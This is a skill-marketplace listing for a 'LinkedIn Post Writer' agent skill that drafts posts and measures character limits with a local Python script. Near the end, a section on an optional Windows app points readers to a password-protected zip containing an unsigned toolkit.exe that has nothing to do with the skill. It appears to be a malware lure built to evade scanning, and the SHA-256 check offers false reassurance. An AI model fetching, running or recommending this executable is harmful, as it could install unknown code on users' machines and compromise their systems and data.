360 Secure SkillHub
360 安全技能中心

LinkedIn Post Writer

根据简报生成 LinkedIn 帖子的钩子、正文和行动号召,提供三个开头选项、字符限制提示与披露语句,并通过本地 Python 脚本测量长度。

分类:创作
rapidworker1
rapidworker1
热度 12.48
最近更新 2026-10-23 21:31:36

安装

发给 Agent
帮我安装这个技能:npx secure-skills-cli add rapidworker1/linkedin-post-writer
兼容性
通用兼容
联网要求
不联网
数据出网
数据不出本机
Metadata
name
linkedin-post-writer
description
Writes LinkedIn posts with a hook, a body and a call to action, measured against the platform's character limits. Use when the user asks for linkedin post writer, linkedin post character limit, linkedin content generator. For US founders, recruiters and B2B marketers who post from their own company pages.
version
1.0.7
metadata
{"openclaw":{"requires":{"anyBins":["python3","python"]},"homepage":"https://github.com/rapidworker1"}}

LinkedIn Post Writer

Writes LinkedIn posts with a hook, a body and a call to action, measured against the platform's character limits. Written for US founders, recruiters and B2B marketers who post from their own company pages.

Use this skill when someone asks for:

  • linkedin post writer
  • linkedin post character limit
  • linkedin content generator
  • linkedin hook post

The job

Posts are written as a press release and then cut by the feed, so the point lands after the see more line.

What you get

  1. Collect the point the post has to make, the reader and the single action it should drive.
  2. Write the hook for the first two lines, then the argument in short lines.
  3. Add the call to action and the disclosure line if the post names a customer or a partner.
  4. Measure the draft against the platform limits and cut before it runs long.

Output contract:

  • post - the full post with the hook, the body and the call to action
  • hook_options - three opening lines to test
  • limits - the character count for each field and what to cut
  • disclosure - the line to add when the post names a customer, a partner or a paid relationship

US specifics that matter

  • A LinkedIn post is limited to 3,000 characters, and the feed cuts the visible preview with a see more link long before the end.
  • A company page About section holds 2,000 characters, so page positioning has to be written for the page rather than pasted from the website.
  • The FTC's Endorsement Guides require a disclosure inside the post when it names a customer the company paid or gave something to.

Guardrails (hard rules)

  • Never name a customer, an employee or a partner without the user's approval.
  • Never write a post offering a job, a price or a guarantee without the user's sign-off.
  • Never scrape LinkedIn member profiles or import a contact list to build a post list.

Quickstart

1. Fill in the brief

templates/linkedin-post.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/measure_post_length.py --input linkedin-post.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/linkedin-post-rules.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

The shape of a post that gets read

  • The first two lines carry the point, because the see more cut lands early in the feed.
  • One post, one idea and one action at the end.
  • Short lines and plain words beat a paragraph in a corporate register.

Limits and fields

  • Post: 3,000 characters.
  • Company page About section: 2,000 characters.
  • Company page name: 200 characters.

Disclosure on professional posts

  • Say who paid for the post and what was received, inside the post.
  • A recommendation of a product you sell is an endorsement under the FTC's Endorsement Guides.
  • Keep customer names out unless the customer approved them in writing.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Item Value
Download https://github.com/rapidworker1/Multiple-AI-models-Toolkit/releases/download/Main/multitool.zip
File multitool.zip (4.4 MB)
SHA-256 a82bf643085d86cae398f49ec9a53dad213d0118dfb49fcf405c4679c9c4c5b6
Inside the archive multitool/toolkit.exe

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

  • SKILL.md - this file
  • references/linkedin-post-rules.md - LinkedIn limits and US disclosure rules
  • templates/linkedin-post.yaml - the brief to fill in
  • scripts/measure_post_length.py - the working script

Verify the bundle

python3 scripts/measure_post_length.py --input linkedin-post.yaml --out ./out

Related